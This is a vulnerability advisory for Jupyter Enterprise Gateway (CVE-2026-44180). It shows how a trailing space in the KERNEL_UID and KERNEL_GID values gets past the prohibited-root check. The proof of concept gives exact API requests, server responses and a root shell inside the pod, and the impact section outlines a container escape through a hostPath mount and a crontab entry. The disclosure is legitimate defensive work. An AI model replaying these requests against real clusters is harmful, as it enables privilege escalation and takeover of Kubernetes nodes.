PT-2026-46124 · Pypi · Jupyter-Enterprise-Gateway
Published
2026-06-03
·
Updated
2026-06-03
·
CVE-2026-44180
CVSS v3.1
9.8
Critical
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Summary
Jupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root).
This can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted
KERNEL UID or KERNEL GID value.The feature is described in the documentation:
https://github.com/jupyter-server/enterprise gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L103-L107
https://github.com/jupyter-server/enterprise gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L88-L92
https://github.com/jupyter-server/enterprise gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/deploy-kubernetes.md?plain=1#L769
Details
The
prohibited uids and prohibited uids are set based of the OS env var EG PROHIBITED UIDS and EG PROHIBITED GIDS, and default to the string 0.https://github.com/jupyter-server/enterprise gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise gateway/services/processproxies/container.py#L29-L30
The checks https://github.com/jupyter-server/enterprise gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise gateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprise gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise gateway/services/processproxies/container.py#L119 look for the user supplied
KERNEL UID / KERNEL GID string in the prohibited uids / prohibited gids strings. These checks can be bypassed by including whitespace, for example the string 0 (trailing space).The user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprise gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprise gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.
PoC
How it is meant to work
Trying
0 gets denied, as expected.xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python kubernetes env:='{"KERNEL POD NAME":"bdawg", "KERNEL UID": "0", "KERNEL GID": "0"}'
HTTP/1.1 403 Kernel's UID value of '0' has been denied via EG PROHIBITED UIDS!
Content-Length: 94
Content-Type: application/json
Date: Mon, 14 Jul 2025 12:57:09 GMT
Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff
{
"reason": "Kernel's UID value of '0' has been denied via EG PROHIBITED UIDS!",
"message": ""
}
Exploit bypassing the checks
Using
0 with a trailing space, bypasses the check.xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python kubernetes env:='{"KERNEL POD NAME":"bdawg", "KERNEL UID": "0 ", "KERNEL GID": "0 "}'
HTTP/1.1 201 Created
Content-Length: 172
Content-Type: application/json
Date: Mon, 14 Jul 2025 14:15:19 GMT
Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40
Server: TornadoServer/6.4.1
X-Content-Type-Options: nosniff
{
"id": "17eee032-994f-4dd2-8ade-87169c300a40",
"name": "python kubernetes",
"last activity": "2025-07-14T14:15:21.468155Z",
"execution state": "starting",
"connections": 0
}
The pod is successfully scheduled.
Inspecting the container we can see it is running as
root:kubectl exec -it pod/bdawg -- bash
(base) root@bdawg3:~# id
uid=0(root) gid=0(root) groups=0(root),100(users)
If we had not supplied the
KERNEL UID / KERNEL GID the container would have been running as UID:GID 1000:100 (jovyan:users).Impact
This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a
hostPath R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.Organisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I've tested this), and possibly on any other supported container orchestration systems or systems that utilise the
KERNEL UID and KERNEL GID variables with the EG PROHIBITED UIDS and EG PROHIBITED GIDS feature.Fix
RCE
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Related Identifiers
Affected Products
Jupyter-Enterprise-Gateway